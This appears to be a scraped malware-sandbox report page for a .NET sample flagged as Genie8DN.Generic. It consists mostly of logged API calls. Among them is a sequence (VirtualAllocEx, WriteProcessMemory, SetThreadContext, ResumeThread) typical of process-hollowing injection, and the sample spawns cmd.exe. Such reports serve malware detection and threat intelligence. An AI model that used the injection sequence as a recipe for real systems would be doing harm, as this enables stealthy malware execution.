26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 46:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4ac,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Genie8DN.Generic Sample 1174cade1bd7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1174cade1bd7…. Malware family: Genie8DN.Generic. Threat score 100/100. 19/28 AV engines flagged this file. 13 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c","keywords":["Malicious","Genie8DN.Generic","malware analysis","sandbox report","threat intelligence","1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c"],"about":{"@type":"SoftwareApplication","name":"66f4247962974_vfdsgasd12.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Genie8DN.Generic","antivirusDetections":{"malicious":19,"total":28},"behavioralIndicators":{"malicious":13,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tf04,"66f4247962974_vfdsgasd12.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000018000000a1028c3ba3833f7398015500687d137540f1550040b13f738d939848feffffff5cf0550002723e7300f0550000009576f8f055001b723e73e0df857608000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000088f05500000000000800000000000000000000000000000000000000000000000000957689028c3b00000000c8f0550069920575ffffffff3400000088f05500080000000000000000009576f8f055002794057590f055000b00000000000000e0f05500 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007992) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007332) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007332)28:T100f,"66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007992) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007332) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007332) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007332) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007332)29:T51e7,"66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FreeConsole (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CallWindowProcA (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007992) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007332) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007332)2a:T1068,"66f4247962974_vfdsgasd12.exe" loaded module "KERNEL32" at base 74770000 